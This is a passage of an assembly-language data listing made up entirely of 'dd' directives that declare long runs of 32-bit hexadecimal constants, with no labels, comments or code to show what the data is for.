		dd 62270EF4h, 0EF23D8FDh, 2100E44Ch, 18CFF02Dh,	0C046DBh
		dd 29A38A60h, 0F588B0Bh, 4FB3302h, 98EB2EE5h, 0CE3EACh
		dd 0ECF26AA4h, 4E68C413h, 7C38C950h, 0AA53040Fh, 0B1E5002Ch
		dd 18DDE37Ah, 41939FC5h, 100E7F6h, 7CF889B0h, 207BB5A0h
		dd 0D060CC29h, 4ACBC286h, 1A37002Bh, 1834FFF4h,	3E00C705h
		dd 0C820ADA4h, 0C676DE2h, 9F92B2D4h, 50002359h,	0F08A51F2h
		dd 7590468h, 70ED919h, 0C9BD30B3h, 0BC5449A6h, 797718C8h
		dd 0B50DB40Ah, 0D380BCAFh, 0C089D65Eh, 6B0200D0h, 127B3FBh
		dd 0F0E6FEB8h, 0AF0CF898h, 0F1DDB5ABh, 2264013Eh, 0B9929916h
		dd 8888335h, 0B7AF86F9h, 1D104F77h, 0F59084h, 0C3158AF4h
		dd 6BBB258Bh, 3FE4EE00h, 0A514DC61h, 0C9B86092h, 0BCB664Eh
		dd 0E060852Eh, 0D7463100h, 0F5F4ADh, 0DFF3DB20h, 3584AE91h
		dd 4316B000h, 26A80A03h, 0B5FCA850h, 9AA00422h,	8890EA06h
		dd 0F800A6C8h, 97218671h, 2BECDD3h, 468C6BDBh, 0F840A004h
		dd 0E1C89B5Eh, 824A87D3h, 4D1180EBh, 1200A6EEh,	523DDC71h
		dd 1F9BB168h, 983A38E5h, 0EE2D31E2h, 4111F000h,	0A8B6750Eh
		dd 1B302A3h, 0ABB2EB5Eh, 517BB4A3h, 0DC163498h,	32192300h
		dd 376C1AFEh, 99050E3Dh, 0BB2268FCh, 40642CA6h,	0C05A3200h
		dd 0DCEE3E59h, 877802h,	0A860F9C2h, 20F7D764h, 36E1680Ah
		dd 0B28CC4B7h, 0EC0871A4h, 71DD008Bh, 0B01CAD99h, 19020B1Dh
		dd 76FE66B9h, 0BBAC60CFh, 3A70A9h, 0AC54F7F0h, 0B22A575Ah
		dd 8E2C81C0h, 3E1DAFDFh, 0E3A6B392h, 0DB370058h, 67C1FCB7h
		dd 2CA6A339h, 2200840Fh, 56F7C031h, 0DA0C3A70h,	2E47F17h
		dd 0A8AC8AF0h, 6F052046h, 34E1168Fh, 1813EC88h,	79B42C43h
		dd 6000C9C7h, 4611D342h, 16B97DDEh, 303DE28Ch, 0F96DEED0h
		dd 9B884702h, 2B1EA8h, 0AD12AFBDh, 56F0DC02h, 904E3A81h
		dd 3B8DC7D4h, 99816A3Ch, 0EAAB056Eh, 6908205Dh,	0DF36D09h
		dd 0A98C9897h, 3F1AF0CBh, 9200CFC3h, 0C845B48Dh, 33009015h
		dd 2A4B73EFh, 0C3E14DF2h, 4A7C3161h, 0CC515BE8h, 223439h
		dd 0AFBFADAAh, 0C0D64D24h, 957D7E29h, 4572D83Ah, 0FE050F76h
		dd 0A92A3E3Ch, 0F9DA8040h, 8817D1h, 0B72BAE89h,	0E611AF5Ah
		dd 440C204h, 78805E96h,	76DD74FAh, 501320E0h, 2B0BD49h
		dd 929F2C05h, 5F5827ABh, 6E3760E0h, 0C376A0E6h,	0A1794100h
		dd 357D8B4Eh, 1AAA000Ch, 78F68CB2h, 84A89AB5h, 0AE00310Fh
		dd 8810BA9Dh, 1D5296h, 856B70B1h, 115DE5EBh, 4DF01708h
		dd 0A19680EDh, 0A41E12BCh, 311F2E1Eh, 0BF6FEB47h, 0A3092260h
		dd 6AC928Bh, 29D4E47Dh,	4900F9BDh, 4AE788DEh, 721AE30Fh
		dd 0D470401h, 0C1899EB4h, 0D0D66B80h, 3540A53Fh, 0A98363B5h
		dd 60AF3EE0h, 32AFFCFEh, 6D532500h, 5CCB8044h, 6F062EBDh
		dd 7B430188h, 60B30BADh, 2410161Ch, 506A32E0h, 2231364h
		dd 180F400Ch, 0D2D88498h, 30083D00h, 7E9E79E1h,	785803A5h
		dd 0F20EFF99h, 208FF3E9h, 0F10334Ch, 84788CA0h,	3EBCC858h
		dd 782C2816h, 8171E13Bh, 0A737ABFEh, 89909A4Bh,	1D16009Bh
		dd 58F8FB85h, 3857EAEEh, 0C058ABB1h, 3271FA80h,	1E01E169h
		dd 0A8A0D55Ch, 3CE0655Bh, 0F868A0A9h, 7B7373h, 3A4A97F6h
		dd 0B20D9CCBh, 0C992860h, 7CA85CA3h, 0E89F4C10h, 7E5D5980h
		dd 1600CF6Ch, 893F384Ch, 0EC494C7h, 2409CD17h, 46B08FA0h
		dd 78173203h, 0B022D7ACh, 4E54C1EDh, 9B007822h,	2558FAF2h
		dd 5E0B1276h, 90B2CEF3h, 9D9CE0h, 85EA2F55h, 9BA6FFCAh
		dd 3F0010B8h, 423CAC20h, 0A9D6279h, 0B5165999h,	3E68001Ch
		dd 3090B921h, 5263BE1Ch
		dd 1E6AFA40h, 15E3F0FDh, 0B4B75FA6h, 88A09F15h,	15A58900h
		dd 0C3E72E61h, 0F28F5104h, 248D0721h, 3CD491D8h, 398FC980h
		dd 4BE12FBCh, 0EC93E27Fh, 7400C225h, 9CF86127h,	52A7DD7Ah
		dd 0A028DC56h, 11C47C88h, 0ADF02ACh, 0F1571A3Eh, 44C80712h
		dd 2634EEACh, 0DA4F2Eh,	0D4BFE92h, 0A8F079ADh, 593F833Eh
		dd 6A560A50h, 0AC20EC1Fh, 0A5FAA715h, 17160024h, 0EE73CD0Ah
		dd 0FA355D74h, 4E7AC16h, 402B3D90h, 1AC51DB6h, 44110348h
		dd 75516C85h, 0CED430A5h, 500893Dh, 0C427EB0Eh,	44ABA8F2h
		dd 1D0036AAh, 7DCCC38Dh, 0C318B02h, 57B95A55h, 22047121h
		dd 623DC6C5h, 45184488h, 0E204309Bh, 749059F4h,	0B990CC44h
		dd 26A200B0h, 0E687CD1Bh, 8BA46C00h, 0DD99FBF0h, 9E510FDEh
		dd 2F2F8FCh, 0D1B2570Ch, 2B71D466h, 0B4DB3F00h,	6D04EC0Fh
		dd 0EA1C3FE2h, 0B9C66407h, 6B0B0AFh, 0F318F83Ch, 6F39A5B2h
		dd 324F00C9h, 88521E7Eh, 330292DCh, 0B8068320h,	7F88C0D4h
		dd 3C30FB11h, 4ED094CAh, 308A0057h, 0DF39DAD7h,	9B3AEA00h
		dd 79086092h, 6BA412A9h, 0F25420B4h, 8507B716h,	25EB7DF3h
		dd 0E23863F9h, 0D3871E2h, 0E399A9ACh, 2913A8A8h, 8BFB41C0h
		dd 18CBF7BAh, 31AA92A7h, 0B0F2B3FCh, 0D9007898h, 93F54CF0h
		dd 0EDFA29h, 0FBC0ABDCh, 9F062782h, 0F05FC0C0h,	1F84F954h
		dd 68A89A41h, 18C87C30h, 1826ED7Dh, 4B0105Bh, 0E3C4C02Eh
		dd 99582007h, 0BD29040h, 2E82780Fh, 1180AAD7h, 7E3000CCh
		dd 0D8DDF00Eh, 40A3585Fh, 5019900h, 0D7F232A1h,	0B9CD9F30h
		dd 3591F66h, 29073722h,	0B7A8E567h, 2B13B019h, 0C30E295h
		dd 0E63A1F99h, 0DE1B0F94h, 78245F7Bh, 0EA7C88B2h, 0EB017D00h
		dd 216104B1h, 653F06DFh, 0C89C7C9Fh, 58EF3C48h,	0E61C0B58h
		dd 754C83C5h, 2BE1E91Fh, 17BE839h, 5AECBAB4h, 0E378B5EAh
		dd 0F1F4F9C8h, 7254DD00h, 7B0FAA94h, 7841E1ACh,	6C223CEDh
		dd 3478EA31h, 7FCC205Ah, 20C4E5FBh, 0A53BEE54h,	0FBFD8059h
		dd 0A6507CE7h, 5EB24A07h, 0C0965FBCh, 0A217FE6Bh, 8407E48Eh
		dd 0CC3DE3A8h, 249F2643h, 403C4D29h, 10FB0F66h,	73F17F00h
		dd 63C84B94h, 9C64028Bh, 294FDEEEh, 43CACC84h, 0A826A38Eh
		dd 0F83D32EDh, 47070293h, 3A301CFDh, 887C0840h,	0B9068E01h
		dd 9FD1CF7Eh, 0BE01C039h, 0DA639A10h, 303D4Dh, 0F3A1F415h
		dd 2CBAE639h, 0B094B479h, 5A7783D8h, 0F703E213h, 0D5899800h
		dd 2EFB3A4h, 8AFC103Ch,	48628359h, 0D99F3CB0h, 929ABB0Ch
		dd 7E7994h, 131ECEA7h, 1A06EE56h, 9EF04D01h, 32E2CFDDh
		dd 0EA046C62h, 0A20599C7h, 0D7E600B0h, 0BF97DAE3h, 9030548h
		dd 8820B5E4h, 0C8604EE0h, 0A5A96C9h, 0FC4A0057h, 8CDEF32Bh
		dd 0A40FABD2h, 0FDE201h, 0B17B285Fh, 56A00964h,	0FC5F7h
		dd 7F510091h, 9D23B641h, 1EB500DDh, 0C888D25Dh,	0D53B6C31h
		dd 12FE0054h, 0A6C4B204h, 44BF594Ah, 0AEACF70Dh, 0E0ECE391h
		dd 0E3023A84h, 19F6F383h, 28519Ah, 0B58BD333h, 9300765Fh
		dd 59A406F7h, 3946B39h,	8F56F04Eh, 514C81B2h, 0C37A0077h
		dd 0C9F6458Ch, 0DABB036Ch, 0E412F7B6h, 258E294h, 0FA5DD3A9h
		dd 0A0216373h, 31A0499h, 807C0858h, 0D0A05135h,	0F23E19B5h
		dd 9F79133Dh, 0E1BFD422h, 0C0E22927h, 0C059DF66h, 0FDEF7C88h
		dd 324F6FB3h, 51CBB003h, 145612B5h, 54140720h, 0DE6DC0A3h
		dd 0B23B2Ch, 0C8ADCD1Eh, 6176B800h, 0B63EDCh, 52273DD5h
		dd 0BB04AC37h, 77BC900h, 34B53C20h, 0B1D413CFh,	409C2792h
		dd 0C88E7CBFh, 0A83E747Ch, 7FAF443Ch, 769C953h,	40E08C04h
		dd 7B180BB7h, 0F77902D3h, 10713F3Bh, 6C7D23E0h,	223DBF01h
		dd 67547436h, 252ACCD0h, 5803E40Ch, 9E5A73Bh, 24919060h
		dd 4818C039h, 0A0805500h, 5A461A02h, 0A4710078h, 0B75CE999h
		dd 4A26D5DAh, 600418DDh, 0C8849A7h, 0F4470278h,	53203213h
		dd 1985FCC0h, 2092AE2Dh, 0EB6FBFC0h, 26CC0E70h,	57E13E44h
		dd 60908DF1h, 0DC9132ACh, 0BF1C7824h, 5DA74B83h, 1E6103ABh
		dd 7A570D5Ch, 151B2012h, 78C09113h, 0B62BE03Dh,	1F1CAC2Ch
		dd 78830516h, 738BC2E1h, 42A908C3h, 0BEBC4C5Eh,	31009976h
		dd 0EAC5CD20h, 6C1D283h, 29DDE081h, 740979B5h, 805F0CFAh
		dd 9733145Bh, 46670025h, 6204CA8Fh, 505C8401h, 38630390h
		dd 0C41FA870h, 0BE2BB540h, 70B4EC36h, 0EB5A1663h, 0E5CFF080h
		dd 0AF95056Ch, 0C1DD8A12h, 0DFAE7A18h, 0D38FD2C8h, 903FB440h
		dd 1872ED33h, 10DBB600h, 6C4F29E9h, 0B945E603h,	0E0815D6Eh
		dd 352F949h, 0F2011F89h, 0C902BE2Ch, 0B7504FA1h, 13B07186h
		dd 80A21E9Dh, 0C44CA906h, 843A24F6h, 836A858Fh,	0F08462EDh
		dd 0F234CC60h, 8C3848BFh, 6DCD651Eh, 7111010h, 83FE003h
		dd 0A845C7AFh, 17613E35h, 9B1ACDh, 328E57Bh, 0F31704A6h
		dd 20885B31h, 26180012h, 0CC4AF084h, 41025EBCh,	0EAE4C444h
		dd 3434E0EFh, 63541A4h,	0D900C19Eh, 0F35C7FF6h,	59AA27Ch
		dd 577265C5h, 80E080B7h, 1A00B274h, 0B5026E5Dh,	706C8B1h
		dd 0D1FE31DBh, 0E2B9C1A3h, 9DC8383Fh, 9F8F00A5h, 9888C54h
		dd 0ACF50D92h, 0FA002044h, 263109B8h, 1D5F83Fh,	692E5DFDh
		dd 0C44B3D93h, 2B038599h, 27D818DAh, 7DFA0D9h, 39E900A2h
		dd 9E20E6D5h, 2300F33Fh, 546E9070h, 7F7A867Bh, 898E1D3Eh
		dd 401418FBh, 6F00C5DFh, 3A0CD925h, 0C1166C2Ah,	1EFB519h
		dd 1100C3D5h, 0E9DBB8D4h, 7DBCB7B1h, 2A391441h,	0B831875h
		dd 6B9B19F4h, 81C081B1h, 0CC72B18h, 84020AEh, 1587AAh
		dd 51E1E8B4h, 5AEE94E0h, 9D8B8E01h, 13A14BC7h, 11DA2883h
		dd 38B06AF8h, 63E4F33Dh, 7188EF0Ch, 60A12019h, 0ECCA2928h
		dd 7C039739h, 0E797683h, 37C49823h, 0CA4719Ch, 5B43C4Bh
		dd 0FA890DF8h, 18F29D0h, 6FE4B9F0h, 802DC474h, 1FFDD63Ch
		dd 4CF68257h, 720103B0h, 0E2335E88h, 0CDA2D45Ah, 4A50ED03h
		dd 32AFB93h, 0D0F1F250h, 1100EE72h, 3B74A4CCh, 15146Eh
		dd 0A9370AFDh, 0C461D99Ch, 4E640606h, 0EC11EA0h, 42D25012h
		dd 0F4D39D41h, 6D9A602Fh, 186AE9C7h, 0D2CC4631h, 3F29A0E8h
		dd 2F25895h, 330F3002h,	0C08445E0h, 81088C6Ch, 0F0107012h
		dd 0E0422800h, 0FEA78766h, 684D00CDh, 433FDADFh, 0F9F6814Bh
		dd 9E02C0A0h, 0EC1ABC08h, 6870942Eh, 4EB9F400h,	10D8783Bh
		dd 0E8CD3800h, 5E344358h, 322B0C6h, 46E43794h, 0B9006E20h
		dd 0D98E4868h, 98B3035Fh, 0E0A924CDh, 0B05A1D60h, 883D16B0h
		dd 852BAC00h, 3B9FC7FCh, 0A4E963DDh, 49006C20h,	134EEEE5h
		dd 167F3EAh, 735C3192h,	0D387249Dh, 0ECAA4BF8h,	0FD59A9C0h
		dd 72100984h, 0E1F60063h, 0EFF90829h, 4092C780h, 0C69E2400h
		dd 0CF5235F1h, 42649014h, 3FAB2E5Fh, 80A4D514h,	4B6A8225h
		dd 4EE7002Eh, 0A11BA4C4h, 59079A2Dh, 0AD256D35h, 0D781B6F0h
		dd 162601FDh, 23CE4208h, 15C18076h, 64AB4BA2h, 0EEEB1DB1h
		dd 3E658081h, 3C40589Fh, 0C478C500h, 2A5C59B5h,	0F93B0090h
		dd 933DC860h, 51F8AF33h, 0A4E0D238h, 0A807409Ah, 19438995h
		dd 4A85E80Eh, 80F15471h, 506400A9h, 8C404D65h, 160B9E5Bh
		dd 55C220Dh, 0EC4727B4h, 0F14C7235h, 28D20BAAh,	8506E422h
		dd 0A48119E0h, 0C40FA70h, 5D58FFBBh, 6267BB8h, 803814B0h
		dd 0BE9C1CC1h, 98FBE344h, 13A2304Ch, 0BA9DB461h, 33B71A16h
		dd 0EF17A703h, 2B710195h
		dd 0A7794F32h, 0B53DDC23h, 0ADE9FF13h, 0C7D01037h, 2C38C58h
		dd 2D10BBBDh, 88464A0Dh, 0D7E69500h, 3815D8A7h,	0FF3A01C9h
		dd 0E7D2A5C0h, 9E30203Fh, 91CCFA48h, 13A003Ch, 0FC7DDD60h
		dd 0C123303Dh, 0DC530B19h, 0F3A74600h, 424BC4CCh, 39520020h
		dd 0AAF364Ch, 0D0E828F9h, 81993F04h, 0B890FBA0h, 1E351C63h
		dd 26C3424Ah, 9AF50157h, 80F07429h, 0EE04E281h,	58EC85A6h
		dd 0D6005486h, 739C2EB3h, 60033F95h, 0D80BDADBh, 0B0A90018h
		dd 0EA05AFDDh, 8DE6377Bh, 0E23D060Fh, 0B45B2098h, 9C1B49h
		dd 0F9119635h, 924A7B40h, 4614DCA4h, 80F45A1Ah,	1726D89Fh
		dd 0A85B3EB3h, 0B40C6801h, 24297AEFh, 222A35C4h, 0F138AC6Fh
		dd 0B3C5879Ch, 9A00B981h, 0EE6760h, 0BAA1A729h,	0CA5A438Eh
		dd 87BB923Ah, 0AF3219ABh, 3F548A47h, 4FE8CC0h, 717A1139h
		dd 11397EF2h, 0CAD800D4h, 4042671Ah, 9879000Dh,	49505AB3h
		dd 92484BAAh, 0E090E0h,	88AEFC39h, 33E40B7h, 28EF3204h
		dd 16509F79h, 1725394h,	0BE1550E8h, 2E4C423h, 66D338B6h
		dd 194CC18Bh, 0AD248C14h, 8A169300h, 0EA660888h, 96EB2F29h
		dd 23400BE0h, 4E8014A2h, 0EFA3A951h, 643C6B00h,	9B56EE9Eh
		dd 1CEBFEEDh, 9F684B39h, 87BF093Ah, 225D0802h, 0E478B361h
		dd 2F3B9C39h, 0B53C0A0Ch, 44005020h, 0AE67CF4Fh, 382A0A29h
		dd 9CD411A1h, 3D0387E7h, 4A377073h, 0E8A8DE91h,	30093E76h
		dd 0A31E722Ah, 4A2348h,	310EEDA9h, 0A3878885h, 622F9B07h
		dd 4A2009CEh, 0C4421AD6h, 0C085DA29h, 0C133D71Ch, 9EA98E01h
		dd 60E83E30h, 159AF3F0h, 9801D56Ah, 0A7032900h,	0B57288C4h
		dd 49FBC907h, 0CD54EB9Eh, 0A15BC680h, 0D59C01Fh, 0C7A271D1h
		dd 2CB5A400h, 3A6AE632h, 0A1604C9Fh, 3528E400h,	88565717h
		dd 91E1B400h, 0E299BF4Dh, 700600ABh, 0F2B2C9EFh, 9D3CD15Dh
		dd 2F11F78h, 0A02408E6h, 53A2D440h, 0A7B851h, 3A0EB97Ah
		dd 22660A26h, 81AF7B3Ch, 335D8377h, 2424ED74h, 8DCF02FEh
		dd 5736A893h, 0FCD8D643h, 5C01C722h, 1923BA83h,	0C9801B41h
		dd 11B43454h, 30004EB5h, 21F842D4h, 7D252AD1h, 0AB4100BCh
		dd 8E6332F1h, 0B20B13ADh, 3F6FD5Ah, 18498C2Ch, 5110A1A9h
		dd 0B9038B75h, 330AD0D3h, 0F588E167h, 520429E4h, 4322E411h
		dd 7BDE3Dh, 0FA592738h,	0A215FE2h, 5DE4C7C1h, 16EE9D88h
		dd 2F602099h, 0F33A430Dh, 3799F39h, 0D4005013h,	8F604DACh
		dd 0AED43C3Ah, 0E985D303h, 69004827h, 1EDBB19Bh, 1CC3BB14h
		dd 47695070h, 0D0D296BAh, 6C2A678Ch, 37DA1520h,	8439401Ah
		dd 0A120800Ch, 0D499BFFEh, 0ADB49480h, 2F38F8Bh, 0F2E8895Eh
		dd 60423073h, 6002C044h, 6C57812Dh, 0E718C0B1h,	4E9302C7h
		dd 0CA941554h, 4014451h, 0FE284DABh, 0C5F777E8h, 0C09CEC41h
		dd 0F6474ED5h, 0D9BC43EBh, 8F3BD5D9h, 0C001A539h, 0B07AB4DDh
		dd 98970059h, 0E0753FB1h, 1898587Bh, 65305F00h,	861F8739h
		dd 0EFFC1222h, 0A2F8218Dh, 0C3E9801Dh, 576F1CCFh, 1207672h
		dd 2418F34Bh, 0CC15389Ch, 260D5EDh, 0F364779h, 16B7F4F5h
		dd 2188F228h, 29924328h, 8E59020Ch, 401648B3h, 0C6FA3830h
		dd 98AF0C08h, 0E3E17B00h, 80BE993Ah, 0E43001Ch,	3B9E3850h
		dd 1E0BA08Fh, 8161E7h, 141BD2B8h, 0C54A7275h, 0D017CF10h
		dd 651EB408h, 7783BCB9h, 0F8E3896Fh, 15C6D09Bh,	10816B56h
		dd 57F45301h, 0F413E83Ch, 12081ECBh, 80752703h,	7BB36E67h
		dd 0FE85245h, 0A1811F00h, 0BBFC9528h, 86FE46h, 4F241615h
		dd 0EF09AB7Dh, 750A0CB0h, 900ED56Ch, 0EA80E39Ch, 8FA434C1h
		dd 9A540CD9h, 6CF83F14h, 2F73DB17h, 0B22BBC08h,	0EC98F9F8h
		dd 0F13C5C3Ch, 6D00FA7Dh, 97EEA663h, 166CCFBh, 0D2F0281Fh
		dd 1B32489h, 6860CE73h,	0A15F101Dh, 29DA1D27h, 0EBE575C0h
		dd 745E65Dh, 3114AE33h,	0A9ABA1E1h, 0AAA0408Fh,	68B08704h
		dd 7107E60h, 321A5075h,	7749223Fh, 0C2388452h, 0B95A8036h
		dd 96133388h, 0F220067h, 506C2429h, 90B8CAF4h, 0C8A46048h
		dd 88704441h, 6A90858Ch, 0D14C9B0Fh, 0A83F6130h, 298036A1h
		dd 9743FED9h, 309ED52h,	0FCD382ECh, 0E1A0443h, 0F0844Eh
		dd 1BDD52A4h, 53E60A13h, 0F9740318h, 6A8D61h, 885C3621h
		dd 0A8F6E6ABh, 7952857Eh, 0BB2012D0h, 601C5843h, 1A10F829h
		dd 0A281E5Dh, 0BD50030Dh, 0BD0E5FFh, 88013D6Ch,	0CA4EF7B9h
		dd 382977C3h, 0C4147500h, 0B18F87E9h, 0C2A49E00h, 88940DA7h
		dd 0F9623DCCh, 0F7749B8Ch, 0CE05D631h, 88BC8CC9h, 0F15AACC0h
		dd 0D8C31880h, 2A16990Fh, 6CCE0100h, 55D0A8BCh,	37490522h
		dd 401CEE19h, 0F33DE090h, 0F10A2161h, 7C984BB7h, 131A3F02h
		dd 49F0E176h, 2026BC50h, 3513F78h, 0E475F280h, 2CD6CFA5h
		dd 0CA01A30Eh, 0AB4860EFh, 91D81CB0h, 7F53E40h,	2407B9E1h
		dd 80DF5B78h, 8B7BC490h, 19131FB0h, 11EC693Bh, 0CEA403F1h
		dd 8F5B64C7h, 4D44E9A0h, 11390B01h, 2005D78Fh, 0EFF8063Bh
		dd 2B4C6996h, 0C73A0030h, 1738997Eh, 4899A0h, 15D23C69h
		dd 600AFE7h, 72792E53h,	0C47DB1Ah, 0F374317Eh, 0EC0F8179h
		dd 69E61007h, 0C31B802Bh, 2229A6h, 0F61659C2h, 2AD241DAh
		dd 394AF48h, 0FDBF8ECEh, 0E8A0E473h, 0A420E9C5h, 9580332h
		dd 2D754004h, 39A2A899h, 4E3F00B4h, 87586708h, 96CD0055h
		dd 0FA8E465Bh, 477F98BBh, 280BA7E4h, 813410F9h,	0A05E3DE4h
		dd 2C2F2040h, 185400BBh, 6AFB53CDh, 0DC7E872Dh,	5F3C4100h
		dd 0A6CF3849h, 1237029Bh, 20A3569Eh, 0BE005052h, 38D13C7Fh
		dd 549FCCh, 9D361BD8h, 7C61F087h, 737F7502h, 60A6EADBh
		dd 486F4648h, 84C374AEh, 25A9EDC7h, 0F981F909h,	187273h
		dd 882CA75Eh, 599C89h, 87D5F69Ah, 786F44A8h, 4B3E7B00h
		dd 4F073CFFh, 752A1562h, 585CE009h, 8AAB4000h, 385147FBh
		dd 0C55D8707h, 0B5C0956Ch, 50E14C11h, 9CDFBCA8h, 0C2EE400Ch
		dd 2F1D3BDDh, 56C730E3h, 87F099F8h, 1467AD97h, 80614E04h
		dd 743DD7C0h, 6E000923h, 0B17B1EA2h, 0F2A843h, 6FECEB2h
		dd 9AFD46EDh, 7E005670h, 96B77358h, 5DD549h, 13F3E2DDh
		dd 0CFD31774h, 71473204h, 2A072B8Bh, 0C7481070h, 45033F6Fh
		dd 0A16B0121h, 22A40104h, 2A63CA4Ch, 116C335Eh,	0E9161FC3h
		dd 574401E5h, 4028E319h, 71802080h, 0AA98A898h,	0FC8DF705h
		dd 9C227829h, 86B7E081h, 22700B17h, 2C90ABF2h, 600029EAh
		dd 0CF7D1B2Eh, 1B541105h, 587B650Bh, 3948DF1h, 1ADBA0B3h
		dd 893A6446h, 3D04C870h, 632E6F7Bh, 0B760B46Bh,	3C1EEBh
		dd 95CA42A7h, 911DB046h, 0C89ED73Ch, 1272254h, 187E9C11h
		dd 3220DC37h, 91D90024h, 74F3EB3Dh, 4CC10096h, 0C9EF86Ah
		dd 0E74CCB3Ch, 6FB2244h, 73FCE55Fh, 430011F8h, 0DFE6DCA3h
		dd 0BD01CD9h, 74393C76h, 80950810h, 0A4213Fh, 78480AA2h
		dd 4385Eh, 8729C95Dh, 28D07C44h, 4072F7h, 0BAEB1365h, 0A0E331A1h
		dd 13CEA088h, 0D381E2h,	1DB48F24h, 944825DBh, 4A3D05ECh
		dd 0F8438292h, 187281F2h, 0F935A1D9h, 0E8F39D1Bh, 1A007EE6h
		dd 0F2ABC2FCh, 0C05171h, 6D54BA8Bh, 0F463C8D1h,	7F59B404h
		dd 60C008F7h, 2CF60D5h,	4894BE9Ah, 774052EAh, 232A6573h
		dd 3800ECC2h, 4263CC47h, 17321C27h, 15AFC31h, 0C1C29C90h
		dd 0B43BD0D1h, 0B821FF24h, 0D80FC804h, 954CB4h,	4F8EE251h
		dd 0C65BD86h
		dd 1FF2A41Eh, 0E0E366C9h, 9CD8DE24h, 0E96B0010h, 6EAB5A3Ah
		dd 2EDAD25h, 0C13DE288h, 7121CECh, 0FB5D9CA0h, 8B0012B4h
		dd 0F2B78DF4h, 48224B28h, 888E9074h, 2648E720h,	5F83204h
		dd 4930061Dh, 0F50D1300h, 4A2B86EAh, 891020F9h,	1DF066A8h
		dd 402F6300h, 1070C733h, 0F96AE803h, 71007862h,	42494D60h
		dd 0D7007AC5h, 4E6E86DCh, 12790188h, 12107EFh, 585CE04h
		dd 4C17D43Ch, 83C3D016h, 0F5670030h, 0D4F100B0h, 9840938Dh
		dd 0FCA07FB5h, 94224BC2h, 88DC4CE0h, 48FC11C3h,	21F07260h
		dd 627DC5h, 97419E87h, 14D17BF3h, 0C2114705h, 2FC00F5Bh
		dd 0EC10C85Dh, 0C74E00C4h, 0BAAB3D63h, 0D07C730Ah, 0F35AB207h
		dd 3981CFC2h, 0B4502AA0h, 7E1A22h, 85BFA381h, 6E4010E9h
		dd 0B04B2404h, 44974720h, 16C07BC1h, 1797F6E0h,	152246Dh
		dd 0D5B19210h, 0B977110Ch, 17B2BD40h, 0CA910108h, 8EBC2B1Bh
		dd 1A072A2h, 4EB173D3h,	0DEFCEF9Ah, 17C40027h, 21672EEAh
		dd 0FE130639h, 0C090A057h, 3743F810h, 458EB64Ah, 0D28B29Bh
		dd 0D0E2AFF3h, 0A201D063h, 501317DEh, 2E4DC0D8h, 0C1581200h
		dd 0FD3EBBB7h, 9C975C29h, 0F1460C00h, 5D309EE2h, 379AD101h
		dd 83166076h, 735474h, 2D9E1CE6h, 1FBFA9AAh, 86D51900h
		dd 0F5DC844Ah, 21524FF4h, 60319E14h, 7C249251h,	3A07B1F0h
		dd 0C8901B5Dh, 99717509h, 32840080h, 33BC5961h,	50741E2Eh
		dd 9975E640h, 19790E02h, 35275FECh, 0C228253Bh,	772223B0h
		dd 9218487Ch, 7BD300A0h, 0BCB4AE13h, 0A300A162h, 3C04DD77h
		dd 76E25DC8h, 0CD5584Dh, 0BA804B8Eh, 7133314Ch,	81BF84B4h
		dd 0A9204FA0h, 0E0CA02FBh, 0AC31BAh, 0AE3C6E45h, 0E3522860h
		dd 0C55C8CF8h, 57D8C28Ch, 0F11460A2h, 8CF4C42h,	5DC9FFC0h
		dd 5948FBD9h, 2A5205B3h, 0C0943DF9h, 0C8C8AC12h, 50A001Fh
		dd 8C39897Bh, 2005B114h, 7129AC13h, 0D801FCB5h,	0D063E57Ah
		dd 0CD66F800h, 456C54C0h, 0D2E12E00h, 0E4E0AFCFh, 2161018Ah
		dd 4A520D95h, 0B0BC489Ch, 436BECA0h, 44B6587Ch,	37218164h
		dd 0BBBA8087h, 0D3F1EF66h, 21765E28h, 30D00140h, 7352898Ch
		dd 924E00C4h, 5EA5E065h, 0CD331739h, 138300B2h,	611D32D2h
		dd 41997D01h, 72BBC9EFh, 78234840h, 0E3E296h, 1D6A03FDh
		dd 389FD07Eh, 0BE05C89Ch, 2C84D698h, 24AD4040h,	12B28E59h
		dd 0D173F2h, 0A2F3CA34h, 527E6991h, 0FC2A771Ch,	1790DD00h
		dd 0A0F5A643h, 8BC78E74h, 0ABC842E0h, 5DAEA203h, 0D909FED2h
		dd 0B0264BB1h, 7C30CA3Ah, 5D5BB762h, 9D0B323Bh,	60136605h
		dd 0FB9E9430h, 708DFCF4h, 82DC024Ah, 22289170h,	0F900F0C4h
		dd 26BCBA1h, 0B4BC4C1h,	328E6415h, 8766845Fh, 0FC2C88h
		dd 4E36BC3Dh, 325EADEEh, 0A4E39E24h, 8A81D085h,	0B1472C87h
		dd 0D1C3E480h, 273D7A58h, 58908632h, 830075ABh,	9C37D9CAh
		dd 4B5AACBh, 1B51A5EBh,	174C59Eh, 0EFD12249h, 8AF44015h
		dd 0AB0642ECh, 26D73407h, 0DC440349h, 2B5BC03Bh, 3A07FB0h
		dd 3C0AE21Eh, 81974A00h, 5CF2C5E8h, 3A8290AAh, 4D942FCh
		dd 0F6F33F00h, 7661CEAh, 0BDC5DB1Fh, 1AA830ADh,	14A0209Eh
		dd 25007F4Dh, 7C579141h, 28C54A0h, 0B6C7BCDBh, 9846AA9Dh
		dd 0CC93D701h, 0CAF1338h, 0F6A887E4h, 3B9E0E78h, 20924B4Ah
		dd 814D2130h, 0A8560213h, 0A6A4C8h, 76325DCh, 0C12184F7h
		dd 38F36824h, 208D1E00h, 301A40E4h, 993126ECh, 0B20288CAh
		dd 69749582h, 0F06442FCh, 29DB2CA8h, 20DA003Ch,	39631592h
		dd 0A17A2A27h, 0F9AC881Ch, 0A15191F4h, 387220EDh, 0F515BD00h
		dd 0F059457Dh, 7A583E00h, 291F08BEh, 23300326h,	12B590A5h
		dd 3088E648h, 73869125h, 0B162DC1h, 0FC198C90h,	5B076500h
		dd 0BC15BFDDh, 25F20BE9h, 3C6479B6h, 9F00D67Ch,	62204177h
		dd 0C00175h, 0AB84A36Bh, 1A743BB9h, 21C722h, 13193299h
		dd 6F3F2575h, 0B549AE04h, 0C00CEFh, 4822298Ah, 2F0E4C37h
		dd 0CE805F31h, 0A996A263h, 12EE1A18h, 3ACA9F49h, 0B8FC5CBCh
		dd 5A6F7880h, 0C9B800DBh, 0E91FFDD5h, 28FCE300h, 0ED7C2C34h
		dd 0FAD8268Dh, 6B6D0110h, 62A1C47Fh, 1D071ED8h,	966380FCh
		dd 0CA48EA2Ch, 1498FA77h, 94421A73h, 545F23C3h,	4785E2C8h
		dd 90782A24h, 2662884Ch, 720B481h, 0CAED192Eh, 0EE22011Ch
		dd 78BF9D07h, 9070CB54h, 7BAE68h, 771FE21Dh, 164A8EF4h
